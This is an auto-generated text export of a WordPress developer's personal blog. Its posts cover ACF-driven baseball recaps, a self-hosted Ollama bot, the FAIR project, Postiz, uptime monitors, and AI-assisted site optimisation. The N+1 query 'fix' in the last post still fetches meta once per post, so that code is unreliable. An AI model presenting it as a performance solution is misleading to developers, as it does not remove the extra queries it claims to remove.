Generated by All in One SEO Pro v5.0.1.1, this is an llms-full.txt file, used by LLMs to index the site.
# Half-Elf on Tech
Thoughts From a Professional Lesbian
## Posts
### [Articles](https://halfelf.org/articles/)
**Published:** October 17, 2023
**Author:** Ipstenu (Mika Epstein)
**Content:**
# *I write about finance, management and economy, my book “[Money Studies](#)” is out now.*
- ## [On Beyond ABS: Integrating ACF Pro and MLB](https://halfelf.org/2026/on-beyond-abs-integrating-acf-pro-and-mlb/)
Building a new site and using ACF to automate the things that are a pain let me spin up features in lightning speed and have a baseball site look like the Show.
- ## [No More Ollama Drama: A Private AI](https://halfelf.org/2026/no-more-ollama-drama-a-private-ai/)
Running your own AI for a private site isn’t all that hard to do, but it is hard to get it right. With some trial and error (lots of errors) you can run Ollama.
- ## [FAIR: Successes, Lessons, and What’s Next](https://halfelf.org/2026/fair-successes-lessons-and-whats-next/)
FAIR 1.3 is out, but the rollercoaster isn’t over. The “chicken and egg” of funding neutral infrastructure has never been tougher. But we keep going.
1[2](?query-22-page=2&doing_wp_cron=1789577957.2420530319213867187500)[3](?query-22-page=3&doing_wp_cron=1789577957.2420530319213867187500)…[372](?query-22-page=372&doing_wp_cron=1789577957.2420530319213867187500)
[Next Page→](/wp-cron.php?doing_wp_cron=1789577957.2420530319213867187500&query-22-page=2)
## Join 900+ subscribers
Stay in the loop with everything you need to know.
Sign up
---
### [On Beyond ABS: Integrating ACF Pro and MLB](https://halfelf.org/2026/on-beyond-abs-integrating-acf-pro-and-mlb/)
**Published:** June 12, 2026
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Building a new site and using ACF to automate the things that are a pain let me spin up features in lightning speed and have a baseball site look like the Show.
**Content:**
I generally use CMB2 over ACF for no reason other than I’m familiar with it. After working at XWP and now at Awesome Motive, everyone uses it so I spent time making some custom ACF fields, and using them to integrate with Gutenberg Blocks.
Now using ACF to power a block is not only common, it’s [encouraged by ACF](https://www.advancedcustomfields.com/resources/blocks/)!
And using ACF to [power a options page](https://www.advancedcustomfields.com/resources/options-page/) is also pretty normal.
What if I wanted to make a special options page that let me pick some items, set data, and it auto created the page for me in draft?
Oh yes!
## Why on earth?
I have a hobby site where I recap baseball games. Shut it. I decided, instead of making a post per game (which is unsustainable for me) I would instead make a post per series. This means every three days or so I spin up a new post with the following blocks:
- Intro paragraph (s)
- Series Summary Header
- Series Overview Block (custom)
- Games Header
- Game 1 sub header
- Game Results Block (custom)
- Bullet list of notes from the game
- A video from mlb.com (custom)
The last four blocks repeat for however many games there are in the series, and it ends with a separator and a comment about who’s next. The three custom blocks are ones I made to help me nicely format the data in a repeatable way. They’re all made with ACF and integrated with a json file I made with some static data (team names, short names, cities, etc). They problem with them, I have to set things up every single time.
I probably overcomplicated my life, but I’m going to use my custom series overview block for my example. That block has the following choices:
- Start and end date of series
- Home Game?
- Opponent
- Cleveland Wins
- Opponent Wins
An example of the block.If it’s a home game, Cleveland is on the right. The short name in the middle changes when someone wins (and says SPLIT if it’s a tie). But every time I make a new post, I have to pick all those. And then? For each game I have to pick similar things!
- Home Game?
- Opponent
- Opponent Won-Lost
- Cleveland won-lost
- Cleveland hits
- Opponent hits
- Cleveland Errors
- Opponent Errors
- Score for each inning (if empty, it’s a 0)
Example of a box score If you compare the two, there’s a lot of crossover. So instead of having a template where I pre set everything as a TBD, I thought late one night “what if I had a page and I could tell if the dates and shit, and it drafted the post?”
So I did!
## Custom Settings Page
I already had a settings page for some global settings (mostly the dates of each season subtype, like spring training) so I made a special subpage:
The settings themselves are the easy part, it’s just ACF, but that checkbox and the drafting is where I got weird. It took a few tries to really get it right, but I do have it finally working the way I want to. I’m thinking about adding in the current standings, so it pre-fills those a little, but so far it fills in all the basic info, sets the options, and get’s things started.
## What’s Next?
Automation!
I mentioned standings. I could use the API to pull down the teams’ current standings, and honestly I do like that idea.
Right now, I have to enter it all by hand which I don’t really mind since it allows me finer control, but I do think about automating post creation totally and maybe auto-generating quirky titles for posts, and throwing in fun facts.
I am working on a feature to automate pulling down the umpire data and comparing the calls to see who’s favoured in games, but I haven’t decided how I want to math out the ABS factoring in to that.
Check out the code for BaseBelles (named for my grandmother) on [Github](https://github.com/basebelles/basebelles)!
**Categories:** How To
**Tags:** acf, coding, mlb, wordpress
---
### [No More Ollama Drama: A Private AI](https://halfelf.org/2026/no-more-ollama-drama-a-private-ai/)
**Published:** March 17, 2026
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Running your own AI for a private site isn't all that hard to do, but it is hard to get it right. With some trial and error (lots of errors) you can run Ollama.
**Content:**
In the running of LezWatch.TV, I’ve often thought about how one might use AI with it. At a certain point, an AI acts as a fancy faceted search, when you’re looking for a TV show. But at the same time, asking something “What was that awesome show that took place in the 18th century and had sex workers?” (they probably mean *Harlots*) is beyond what a search can do.
I asked myself… just because I can remember that doesn’t mean everyone can, so could I possibly make my own AI tool for people to talk to?
(The answer is yes.)
## Start Simple: Turn Human to Data
First and foremost… how do you want to do this? I chose hosting my own LLM (Large Language Models) on my dedicated server. It’s got enough cores and disk space, but may have a bit shy on the memory. Self hosting means I can lock it down and control the guardrails. I picked [Ollama](https://ollama.com).
Installing Ollama is pretty much following their directions. Then, once you have a model, you kickstart it:
```
sudo HOME=/home/ollama-data ollama create lezwatch-bot -f /home/ollama/agents/LezWatchBot
```
The nice thing about the model file is that if I ever have to re-create the server, I just run that command and Ollama knows what my bot is!
After I installed the LLM, I had to think about how to talk to it. I decided to start as a **Semantic Translator**. The LLM will take “messy human talk” and mapping it to my “strict database reality.”
Now this goes by another name. **Prompt Engineering + RAG (Retrieval-Augmented Generation)**.
That’s a mouthful ain’t it?
What about this… Most of the work for this is done in making a Rest API endpoint that takes in simplified data and uses it to build a WP Query.
That sounds pretty straightforward doesn’t it? This is something that works well specifically because LWTV has very structured and organized data. All the work we put in with tropes and categories and ratings allow me to make some pretty clear assumptions that are rooted in data.
All I have to do is teach my LLM that when I say “I want a really good show from Canada that is still on air.” it knows I mean `country:canada,on_air:yes,score:80,worthit:yes`
Because that’s easy.
## Teach It to Talk
The heart of your LLM is the model.
I made a custom model called LezWatchBot and I spent three days working on the model file. In Ollama, they have [modelfiles](https://docs.ollama.com/modelfile) that let you design a brain, basically.
I keep a copy of the LezBot on our GitHub repo because it will let me rebuild things in a heartbeat and honestly it was originally craaaaazy long. I was telling it what our tropes etc are. But then I explained its job is to be a curator and to use some of our custom data (the worth it explanation) to help write an explanation as to why a show fits or not.
The model now has the basic ‘documentation’ on how to be and the ‘logic’ part of what a trope is and what EU means was shifted. I’ll explain this in a bit.
Next I use WordPress to send a message to the bot, which returns with the specific search parameters to find the show. Its a fun back and forth with APIs talking to each other, but I added in caching on both ends to save my bacon.
Again, we are still at the basic level here, where my LLM is just a search agent.
## Make it Think
Now it’s fun time!
Currently, the AI finds a show and spits out the template I gave it in the modelfile. But it doesn’t explain **why** it chose that show based on the user’s specific mood.
The AI should say: “Since you’re looking for a slow-burn from Canada, I recommend ‘Workin’ Moms’ because the tension between the leads perfectly matches that vibe, and it’s currently on air.”
To get there, my AI needed to hold onto the user’s “vibe” while it looks at the JSON data the PHP returns. You do this by updating the **Final Response Formatting** section in the Modelfile to include a **Reasoning Sentence**.
With that, it would do a decent job of telling me why it picked a certain show. That’s when I added in things like the worthit explanations and any additional data (episodes to watch etc) we had.
On to being smarter!
By Mariel Gonzales## Smarter, Smaller, more Indexed
Training an LLM is interesting. Most of the time people think about JSONL, which is used to train an LLM. If you use a JSONL to **fine-tune**, the model “bakes” that info into its brain. If a show’s score changes from 80 to 20, the model will still think it’s 80 until you re-train.
Obviously that won’t work for me. Show scores change based on number of characters, dead and alive, and so on, which can change on a dime. Instead, I went with a **Local Vector Database** also called a **Semantic Index**.
I built out system where the AI has a **long-term memory** of the entire catalog without needing to query the WordPress SQL database for every little thought. For that, I made a new JSON API endpoint on WordPress that would spit out all the shows and the critical data the AI would need.
Instead of hammering the WordPress API for every search, I sync the data once a day into a local JSON ‘brain.’ The Python bot just keeps that file open, scanning 1,000+ shows in milliseconds, which is way faster than any SQL query we could throw at it
Then I made a python script that runs in a cron job:
1. **Fetch:** Hits WP API for any show modified in the last 24 hours.
2. **Transform:** Converts that show data into a “Semantic Chunk.”
Example: “Show: Wynonna Earp. Tropes: slow-burn, law-enforcement. Score: 92. Status: Ended.” (note: it actually has a lot more than that, but this is fine for the example)
3. **Load:** Saves this into a local text file or a small SQLite database that Ollama can “read” faster than a WordPress query.
Well. Except for one small problem.
It was crazy slow.
## Make it Faster, Make it Snappier, Make it Gay
The problem is that while I have a 12-core server, my memory isn’t huge and I don’t have vram on it. My options became:
1. Move to a more AI based server
2. Set limits – aka trim the fat
3. Pick a different AI model
I went with 2 and 3.
To trim the fat, I had to address the problem that Ollama unloads the model from memory after 5 minutes of inactivity to save RAM. I change the setting to 24 hours. Then I some params to my model file in order to throttle usage. After all, I don’t need a huge context window for this:
```
PARAMETER num_ctx 4096
PARAMETER num_thread 8
```
Then I added a ‘warm up’ to the start of my python scripts.
But when I ran a trial:
```
-> Extracting intent for: 'Find me three underrated dramas from Europe.'
[Extraction took 83.14s]
```
83 seconds is nuttier than squirrel poo!
This is where I decided the model was too big. I went from Llama 3.1 8B to phi3.5 and it got worse!
```
-> Extracting intent for: 'Find me 4 tv shows from the US that are underrated drams'
[AI took 198.36s]
```
This led me to llama3.2:3b which is fast but stupid. Well not stupid, but it begets a caveman joke.
In truth, you have to make your model file so simple a caveman could use it to make fire. The problem I faced was that 3B can’t be a philosopher and a librarian at the same time. So I stripped its job back: Don’t talk to the user yet. Just look at the sentence and spit out `SEARCH_ACTION: country:uk, genre:comedy`.
I turned the AI into a regex generator, and suddenly, the speed was there. Which means that a lot of the heavy lifting now has to be done on the WP end and/or some other script. The resulting makefile is incredibly small by comparison with only one step.
## On Beyond CLI
I didn’t want this to live in the command line forever. I do plan on making this fully integrated with WordPress but at this point I wanted to make sure I was getting accurate information with the parameters.
Since we have a LezWatch Slack, I build a Python bridge using [Flask](https://flask.palletsprojects.com/en/stable/) and [Gunicorn](https://gunicorn.org), which sits behind Nginx, and then I have a Slack App that calls the bridge.
ScreenshotObviously there are some kinks to iron out, but this is starting to work as we want.
Now **how** did I make my Slack Bot smart? Well that will be another post.
**Categories:** How To
**Tags:** AI, coding, llm, ollama
---
### [FAIR: Successes, Lessons, and What's Next](https://halfelf.org/2026/fair-successes-lessons-and-whats-next/)
**Published:** February 26, 2026
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** FAIR 1.3 is out, but the rollercoaster isn't over. The "chicken and egg" of funding neutral infrastructure has never been tougher. But we keep going.
**Content:**
Yesterday we released FAIR 1.3.
Today we had to announce [two of the top faces for the project were stepping back](https://joost.blog/fair-wordpress-and-knowing-when-to-stop/).
It’s been a rollercoaster, y’all!
**[FAIR IS NOT OVER](https://fair.pm/blog/2026/02/26/second-star-to-the-right-and-straight-on-till-morning/)**
> We understand and respect Joost and Karim’s decision. The challenges they faced: the reluctance of large ecosystem players to invest in neutral infrastructure, the misaligned incentives–these are real. We won’t pretend otherwise. But those challenges don’t define the entirety of what FAIR is or where it’s headed.
This means, right now, we keep going.
## So what the hell, ammiright?
First and foremost, **FAIR WORKS**. As a drop in replacement for running all your updates from `wordpress.org` you can now use AspireCloud instead. What does that mean? We proved you absolutely can de-centralize WordPress. You can undo all the Gravatar and phoning home stuff, and just get code.
What we wanted to do was make it so we could add in more and more ‘sources’ (like, say, your own self-hosted one!) and give the world the ability to distribute and share. All you have to do is add in a repo.
Beyond that, I have dreams of layering in tools like security checks, reviews, ‘grades’ (how ‘good’ or safe is a plugin/theme) and more.
But you see, you need money to be able to build and host all that kind of thing. Our plan was to get some big players on board so they could control their own code flow. This sadly became a chicken and egg conundrum that did not result in oyakudon (one of my fav dishes, we call it “mother and child reunion” because we’re twisted people).
Someone had to be first. Some big company had to be first.
*None were willing to take the risk.*
## What Risk?
Let’s not sugar coat.
By now, if you’re reading this blog, you know about the feud between Automattic and WP Engine. Frankly it’s a whole lot more drama than any of us needed in our lives. But the reality is that the feud put people, including major companies, on edge. They fear retaliation. I get it.
Did Matt Mullenweg have a point that people (meaning big companies) need to kick in more to this project they’re basing their companies on? Hell yes. I don’t disagree with the issue he raised, I disagree strongly with his *methodology*.
Fighting takes us away from our goals and honestly, who has the time?
Instead of jumping into a fight, why not make a better path available. Why not reinvent Five for the Future into something like adopt-a-highway. HostingCompanyA adopts the support forums, because their customers use it. They donate time/people or straight up money. BigPluginCompanyB helps plugins the same way. They sponsor someone who doesn’t work for them to chip in.
To do that, everything has to be public, though. That means the WordPress Foundation has to tell us what they need with actual fact sheets and budgets, so we know where to help and with what.
## Who Helps the Helpers?
There’s also a flip side to Matt’s argument. The Big Companies who make a living on WP absolutely should be helping more. But the millions of volunteers should be **helped more**.
> The majority of my contributions to WordPress were unsponsored
Okay? We’re talking the 11 years as the plugin rep, and the six years before that. Most of that was on my own, free time. Most of it was unfunded, not sponsored by my employers, and done because I strongly believe that people working together make things better.
And I’m not the only one. The folks behind PHPcs, ImageMagick, and more have all faced issues with funding.
I remain proud as hell over my contributions, the work I did, the ecosystem I helped create. It helped me get my last 3 jobs (that’s including this one).
But I’m sure as shit nowhere near “Post Economic.” And that’s actually okay by me. I did what I could, when and where I could, because I believe in the power of people. I took some massive mental hits from the work, which trickled down into physical.
As I’ve said about why I left plugins: I needed to take care of my mental health. Plugins was killing me. I needed to step away from WordPress as a whole for the sake of my life.
People who work on a certain edge of the tech world have seen shit no one should see, and deal with assholes no one should deal with.
For me, FAIR has been a healing project, as it feels like we’re ushering in a new era of hosting and sharing.
## What’s Next?
Well, as my co-chair Ryan put it, [we keep going](https://journal.rmccue.io/492/the-next-era-of-fair/).
So we don’t have a ton of money. Okay, we can keep going. We’ll do it slower, and we’ll step out of ‘just’ WordPress but y’all, that was the plan in the first place!
We **always** planned to make this bigger. We designed the systems to be agnostic on purpose. We’re just jumping to that a little differently than I’d hoped with [TYPO3](https://typo3.com).
As for me, I keep going for now. I never planned on being a TSC Chair. I’ve never sought out accolades or power. That’s just not me. I’ve been handed it enough times to know that there will be a time for me to step away and let the next generation, as it were, carry on and keep paving the way to a better future.
**But that’s not today. It’s not even tomorrow.**
Today and tomorrow and for a while yet, I’m here to help make distributed deployment of code a bigger and better reality. I’m here to help shepherd in the freedom of owning your code from egg to chicken (see I brought it back to oyakudon).
If tomorrow, I get a phone call that WordPress.org wants to distribute the load to lower costs and help bring the world ready for the EU’s Cyber Resilience Act next year? Hell to the yes.
I’m here for a better tomorrow. I hope you are too.
**Categories:** How It Is
**Tags:** essay, FAIR, wordpress
---
### [Manage Your Social Media Calendar: Post Iz Easy](https://halfelf.org/2025/manage-your-social-media-calendar-post-iz-easy/)
**Published:** December 8, 2025
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Running your own Social Media poster? Auto post from WordPress? Even to Xitter? Welcome to Postiz. Iz posting.
**Content:**
I like hosting my own things. While I have WordPress (mostly) on a managed instance, I keep a number of other apps on my dedicated server. Those tend to be apps that aren’t … as popular.
That isn’t really fair, actually. The apps are often quite popular, but they tend to be less user friendly popular. WordPress is user friendly popular. Drupal is dev friendly popular. And Postiz is super nerd unknown.
## What is Postiz?
> **[Postiz](https://postiz.com/): An alternative to: Buffer.com, Hypefury, Twitter Hunter, etc…** Postiz offers everything you need to manage your social media posts, build an audience, capture leads, and grow your business.
Basically it’s a social media manager. You can post to all your socials at once, you can schedule it, and you can auto post. If you want to pay them for hosting and running it, it’s pretty reasonable ($50 a month for ‘pro’). But I wanted it for LezWatch.TV and spending the least amount possible is better.
For me, self hosting Postiz was a no brainer. It’s easy enough to install via Docker, it’s easy to set up an Nginx reverse proxy, and it’s easy enough to configure.
Mastering it, however, I’m still working on.
## Where Postiz Kicked My Ass
I have it running now, but I wanted to talk about the things I screwed up or confused me,
There is no UX to enter your data (like API keys for Facebook), you have to put them in your Docker compose file, or in a config file in one of two places. The [documentation](https://docs.postiz.com/installation/docker-compose) is pretty clear, but my brain just got turned around. Once I got it working, I realized any time I added one, I’d have to restart Docker.
I can live with that, especially since I can add BlueSky via the UX which **suggests** to me that this is the way the one man shop is heading.
That is one of the problems, though. This is one man’s project. He builds this the way he wants to, for his product, and he manages it the way that makes sense for him. I have no idea how he runs it on the service, but maybe it really is him making a separate Docker instance for each customer?
Actually, it’s probably in Helm, but the point remains.
## Working the Machine
I don’t have a preferred coding style. By that I mean, tabs and spaces are not the hill I die on. The Oxford Comma, on the other hand, you can pry out of my cold, dead, hands. And please don’t get into a fight with my wife for saying “the proof is in the pudding” because it’s really “the proof of the pudding is in the eating.”
But I digress.
The UX of Postiz isn’t really my favorite. It’s not super iPad friendly, and the settings are in weird places — like auto post is under settings, while everyone else is on the sidebar. It’s not how I’d design things. Why aren’t there toggles to enable/disable the AI agent?
Oh, and why doesn’t Autopost explain it actually **requires** AI?
## Documention Is A Pain In The Ass
I know it, you know it, moving on.
One of the reasons I eventually decided to remove [Tianji and go back to HealthChecks.io and Uptime Kuma was documentation](https://halfelf.org/2025/free-uptime-by-automagically-watching-the-watchers/), but a different way. Tianji’s documentation was AI generated which, in general, I’m not opposed to … assuming you proofread. Blindly trusting the translations of AI though, for your documentation, is asking for trouble.
So much of the English was poorly handled that it made aspects of Tianji unusable for me.
The UX in WordPress wasn’t to ‘my’ taste when I started using it, but after twenty \*cough\* years, it’s second nature. It was a UX I could adapt myself to. Right now, Postiz feels the same way. Especially since I’m not using auto post.
## AI In All The Wrong Places
There are two ‘big’ issues.
1. You’re locked in to using OpenAI
2. Auto posting requires the *undocumented* use of the AI
By default, Postiz uses an AI agent to summarize the content from the rss feed. I don’t want to use AI for auto posting. It’s an rss feed, I assumed it grab the image, but trim the content. That’s how everything else tends to run. Oh yeah, you can only auto post from an rss feed.
This isn’t a huge problem, I have a custom rss feed for the things I want to auto post anyway. But the AI part? I did not need it. Thus, I didn’t put in any credentials for OpenAI and thus, it did not work. Which took me forever to figure out.
So I went to WordPress.
## APIs! Let no one else’s evade your eyes!
Apologies to the late, great, Tom Lehrer. Here are some facts:
- Postiz has an API.
- WordPress has an API.
- My HealthChecks and Uptime Kuma instances have APIs.
Which means I can use APIs to cross trigger events!
And better than that, I actually know how I can trigger this. See, once a day I run a cron job (real crontab cron) that triggers changing the “show/character of the day” data. The only way to trigger the update is via WP-CLI (for a number of reasons). This means I can add a hook to my existing ‘of the day’ code and it will trigger a Postiz action.
Since we have already generated the post of the day, I pass that data to my Postiz class. That code checks if there’s already a post like that within the last 24 hours (to prevent an accidental repost). If there isn’t, we post it.
That’s it. It’s that simple. And I did the same thing to hook into when blog posts are released. I even made a backend UX for the WordPress site to allow in place adjustments without having to update a config file.
I’m tempted to do the same thing to report downtime. If the site is down, we could autopost “we’re aware of issues with our site. Updates will be at status…” because Postiz is on a different server. Once I’m more confident in my status page situation, I may just do that.
## Remember To Call It Research
I don’t buy into the sunk cost fallacy. Even if I fail miserably at using Postiz, I will have learned a lot more about how the APIs for all the social media sites work.
I’ve used so many various uptime systems, trying to find the one that worked best for me, and I don’t consider any of that work to be time lost. I’ve learned more about myself and how I work, and what I actually want to track.
I haven’t yet found a lot of alternatives to Postiz, nothing for self hosting except Mixpost, and they’re only free for the Lite version (which only allows posting on Facebook, X/Twitter, and Mastodon).
And whatever I learn here, I’m sure I’ll use later.
**Categories:** How To
**Tags:** open source, self-hosting, social media
---
### [Free UpTime by Automagically Watching the Watchers](https://halfelf.org/2025/free-uptime-by-automagically-watching-the-watchers/)
**Published:** November 13, 2025
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A look between multiple different (mostly) self hosted ways to monitor the uptime of services and websites and more.
**Content:**
It’s 9pm. Do you know where your children are? Well now it’s 2025. Do you know the uptime of your sites?
There are a hundred ways to get alerted about your site, to know if it’s responsive, to know if the content is correct. There are some amazing applications that can integrate with your phone and wake you up in the middle of the night.
That’s great. Of course, when you’re a small collection of people, or maybe a tiny company, or even a solo developer, you may not want to spend money (even [$7/month for UptimeRobot’s second tier](https://uptimerobot.com/pricing/)). Heck, you may not want to use a 3rd party service for whatever reason.
Now what?
Welcome to the land of self hosting your own uptime monitors.
## The Criteria
Before we get to the part where I tell you what I’m using, I want to talk about the criteria.
It absolutely must be hosted on a different server than my website! Period. End of story. I have a dedicated server I use to host all of them, except one, and I sneaky have that one monitor the others.
I want to know if the site …
- is up and returning the right HTTP code (200)
- loads within an acceptable timeframe (different per site)
- returns the right content (I call this the ‘hack checker’ but it’s also great for checking JSON)
And what I want it to do …
- Alert me
- Make a ticket (if needed)
- Have a public status page
- Have a private back end is (optional)
- Allow for custom domains (i.e. `status.ipstenu.com`)
Not one single service does all of this. Not the self-hosted ones either. None of them do all the things I need and want. The biggest problem is alerting.
I want alerts in Slack, Discord, and I would love an app that busts through Do Not Disturb mode. For self hosted tools, the app is a long shot. For everything else, I have to figure out web hooks, which isn’t too bad.
But knowing this? What did I end up using?
## Services I Use (and Used)
Okay this is where I get weirder. I will note, all of these allow for notification.
ServiceMonitorsStatus
PageBackend[Gatus](https://gatus.io)Uptime
Response TimeYesNo[HealthChecks.io](https://healthchecks.io/)Cron JobsNoYes[OneUptime](https://oneuptime.com)Uptime
Response Time
Metrics
The Kitchen SinkYesYes[Statping-ng](https://statping-ng.github.io)Uptime
Response TimeYesYes[Tianji](https://tianji.dev/)Uptime
Response Time
Metrics
Servers (and Docker)
Request TimelineYesYes[Upptime](https://upptime.js.org)\*Uptime
Response TimeYesYes[Uptime Kuma](https://uptime.kuma.pet)UptimeYesYesTechnically Upptime is *not* truly self hosted. It’s on GitHub.
I’m actually using all of those *except* Statping-ng (which is the only one with its own iOS app). The reason for that is I couldn’t get the custom CSS on Statping-ng to work, and while I didn’t list it as a criterium, it is something I care about. Branding matters. I want things to look like they belong.
## Uptime Upsides & Downtime Decisions
Now there are downsides to them all. And in fact, after using them, I had a small update to my criteria in that I need it to also show a history of outages.
Essentially, all of these are 4 stars out of 5, except Statping-ng, and that is probably user error.
### [Gatus](https://gatus.io)
The sucky thing about Gatus, which is a beautiful tool, is that I have to edit my `config.yaml` file, and since it’s in a Docker service, I have to restart that for every change. That means you have to edit, restart, test, rinse and repeat. I hate that. I don’t want everyone to have shell access!
This is also only a public page.
That said, it has an API so I can use it to show data on the back end of (say) my WP site. Also it has one of the more robust implementations to check specifics out of any of these. I have it checking my sites not just for uptime, but also for page content.
If Gatus gave me a backend for control and customizable (like custom domains) then it might take over for simplicity.
### [HealthChecks.io](https://healthchecks.io)
This is a unitasker. It does cron and it does it well. The downside is that it’s a unitasker. It does cron and it does it well. The UX is simple and efficient, and there’s a secret back end for the systems. You can even [hook WordPress itself into it](https://halfelf.org/2025/automate-your-site-checks-with-cron-and-wpcron/ "Automate Your Site Checks with Cron (and WPCron)") for alerts!
### [OneUptime](https://oneuptime.com)
I want to love this. It has everything you could possibly need… And it destroyed my 6-core server with 16G memory to the point that it was over 250 load! And this is after I did tuning.
It’s a **massive** memory and system hog. Also? The interface was very confusing. It took me a while to figure out the nuances of ‘This means the site is up and good, that means it’s not’ and could really be served by a UX overhaul. Also like Tijani, it could be well served by disabling features you don’t use.
### [Statping-ng](https://statping-ng.github.io)
I mentioned I’m not using this anymore. The sole reason is it gave me fits when I tried to get it to let me edit CSS with my Docker setup. Other people had that problem too.
I wanted to love it, especially for the App, but in the end it just feels like a more ‘company’ version of Uptime Kuma.
### [Tianji](https://tianji.dev)
The name means **Heavenly Opportunity** or **Strategy**. This one is the nerdy developer tool to the nth degree. It can replace Google Analytics with its own website tracker (even a JS event tracker), monitor servers with a shell script (and by default, it monitors the server it’s on), and even make status pages complete with custom URLs. Technically I could replace HealthChecks.io with it, but since it lumps all my monitors together, I’m less fond.
While it does everything and the kitchen sink, that’s also the downside. I’d love to be able to disable things like App Tracking. I don’t have an app. I don’t need that.
### [Upptime](https://upptime.js.org)
Technically this is not self hosted. Upptime is a Github Template which calls a service, which runs regular actions to check websites being up. If the site is down, it opens a Github issue. Site comes back up and the issue is closed. It even leaves a history of incidents.
The only thing I dislike is you can’t tell it to show timezones. While I know that looking at it, if it says 10:00 something happened, it means my time zone. But that really needs to be clearer.
### [Uptime Kuma](https://uptime.kuma.pet)
Kuma means bear. It’s a little bear who watches! [I’ve mentioned this before](https://halfelf.org/2025/cute-bears-uptime-kuma-and-docker/). Uptime Kuma is still, hands down, the best for a simple, self hosted, status page. Not only can it track websites, it can pass curl headers in an easy to understand UX so I can be alerted if something changes on a specific API.
While you can make maintenance posts for Uptime Kuma, they don’t get saved so you lose the history. Also the customization options are pretty slim.
## The Verdict?
The verdict is it depends what you need to monitor uptime, and how you want to be alerted.
Uptime Kuma is *perfect* if you want a simple status system with alerts. And HealthChecks.io is perfect for cron. But in the time since I started this post and now, my clear winner for my needs is … *Tianji*!
Gatus’ lack of a backend UX means that even though it’s so easy to write the checks, it’s just not enough for me. Uptime Kuma’s limited maintenance features loses out, and once you’ve got Tijani, you can drop HealthChecks (even though the latter has a better UX).
So here’s where I’m at:
- **Upptime** – LezWatch.TV uses this for tracking pretty much everything we need. It includes some ‘admin’ checks that I may move to …
- **Tijani** – Everything **else** I need to watch lives here. That means my servers (plural) send data back so I know if any of them are down. Don’t worry, it’s on it’s own server.
It’s not perfect, but because everyone’s needs are subtly different, multiple tools are the way to go.
**Categories:** How To
**Tags:** administration, open source, uptime
---
### [AI Solves Site Speed And Won’t Make You Obsolete](https://halfelf.org/2025/ai-solves-site-speed-and-wont-make-you-obsolete/)
**Published:** September 25, 2025
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I have a conflicting relationship with AI. I like to think of it as a realist view of a tool that can level me up without making me worthless.
**Content:**
I have a bit of a moral problem with AI.
I hate how it stole data without compensation to build its databases, and now charges people for use.
I hate how it’s shit for the environment.
But I also use it day to day for work because it can do some things faster than I can. Imperfectly, but still, it’s like having a handy junior programmer who is up to speed on the latest techno brouhaha, but doesn’t have the scope or depth of thought just yet.
It can be a very useful tool, but it’s difficult to look past the practical issues.
All that said, I have been hearing a lot about how plugin shops and theme shops for WordPress will go out of business because of AI.
Hogwash.
## AI Doesn’t Think
This summer, I was designing and building an app for work that used two languages (BigQuery and Laravel) I wasn’t familiar with, and two services (PlanetScale and GCP) I hadn’t used before. I sat down and wrote up what I wanted the app to do and more or less how I envisioned it working and I tossed that into AI to ask it to help me:
1. Estimate costs based on data volume
2. Estimate time to develop
3. Construct a plan using [Claude TaskMaster](https://github.com/eyaltoledano/claude-task-master) to keep it organized
4. Write up a summary pitch
After a lot of back and forth and starting new chats to clear the memory, I had a decent plan and presented it. It’s pretty much as planned though we did learn and tweak as we went along.
Could AI have invented that without me?
No.
AI can do a lot of things, but it cannot invent from nothing. It needs prompt and the better your prompt, with the more details of the needs and wants of the project, the better it can help you create. But it cannot just decide “you know what, I need an app for X.”
Unlike a human, who can think about the moral consequences or the practical UX, an AI only knows what it knows from its limited info base, and cannot expand on its own.
A human will go “this sounds nice, but …” where an AI might ask you about the flaws but only as it knows them.
## AI Is Great For Optimizing
Also this summer, I was looking at how slow LezWatch.TV is in the back end. Now I knew that this was due to how much cross data we save, and how inefficient WordPress is about storing it.
For example, adding a new character to the database will:
1. update the character count for the actor(s)
2. update the character count for the show(s)
3. update the meta for the gender and sexuality of characters for the show(s)
4. update the stats of characters for actors, shows, formats, death, etc
5. adjust show(s) score
There’s a lot of other little stuff, but every save of character does that. And it’s slow.
So I thought “there must be a better way…” and I wrote up a list of everything. Then I asked Claude (the AI in my code editor) to review the character saving code and tell me where it was slow.
It listed everything I had, plus a couple more (shadow taxonomies, weird cmb2 `` taxonomy stuff) and with that, I dumped a summary into Gemini (Google) and said “Based on all this, is Action Scheduler a good idea? Tell me why, or why not, and propose alternatives.”
Now notice I came in with my own proposal!
This is key because it set the expectation that I knew “saving is part of the issue, so if I can schedule out post processing, then saving will be faster!”
## AI Extends What We Can Do
This is where AI is great, it extends. After I moved things to the action scheduler, I thought about the other slow parts and decided to make my sql calls more efficient.
I know how to solve an N+1 issue (not redundancy, but the select problem), but the pain in the ass with WordPress is it tricks you!
Let’s assume `$things` is a collection of post objects. And you want to loop through all those things to get the ones with a meta of ‘other’ and echo it.
```
foreach ($things as $thing) {
$other = get_post_meta($thing->ID, 'other', true);
echo $other;
}
```
Looks perfect, right? Simple. Fast. Easy.
Well it’s two of the three. When you have 100 post objects, it’s fast. It’s even fast at 1000. But when you get to 3000 … now you’re going to see things slow down, and Google will ding you for TTFB (time to first byte).
The fix?
```
$thing_ids = wp_list_pluck($things, 'ID');
foreach ($thing_ids as $id) {
$other = get_post_meta($id, 'other', true);
echo $other;
}
```
It doesn’t look much different, but the trick here is that instead of looping and getting all the post data, we’re just using the IDs for a faster lookup and echo.
This gets compounded when you use `WP_Query`. Yes, it gives you the posts but if you also need their meta or taxonomy data, WordPress **doesn’t** load that in the same query. So you end up doing one query to get all the posts, and then one extra query for each post to get its related data.
That’s the N+1 problem: 1 big query + N small ones.
By writing direct SQL, I can grab posts and their meta/terms in a single query, instead of hitting the database over and over.
## AI Solves With Directions
My father used to say that people think of AI like it works in Star Trek. Captain Picard says he wants “Tea. Earl Grey. Hot.” The replicator knows exactly what he wants and makes it. Geordi LaForge asks the Holodeck to make a Sherlock Holmes themed villain, capable of defeating Data.
Given the recent issues with guardrails on AI and it pushing people towards suicide, I can’t help but think Dad was 100% right and still is. People look at AI as a panacea. It will solve problems because it has access to all the information and can make the right conclusions.
It doesn’t.
While I used it to help me find all the speed issues, with my set parameters (saving, searching, etc), I can’t just say “make my site faster.” The amount of refining that happens, and sometimes straight up corrections on what is pretty basic dev work is how I know this. Any developer work their salt will tell you it’s not perfect.
What AI is great for refining, improving, and assisting.
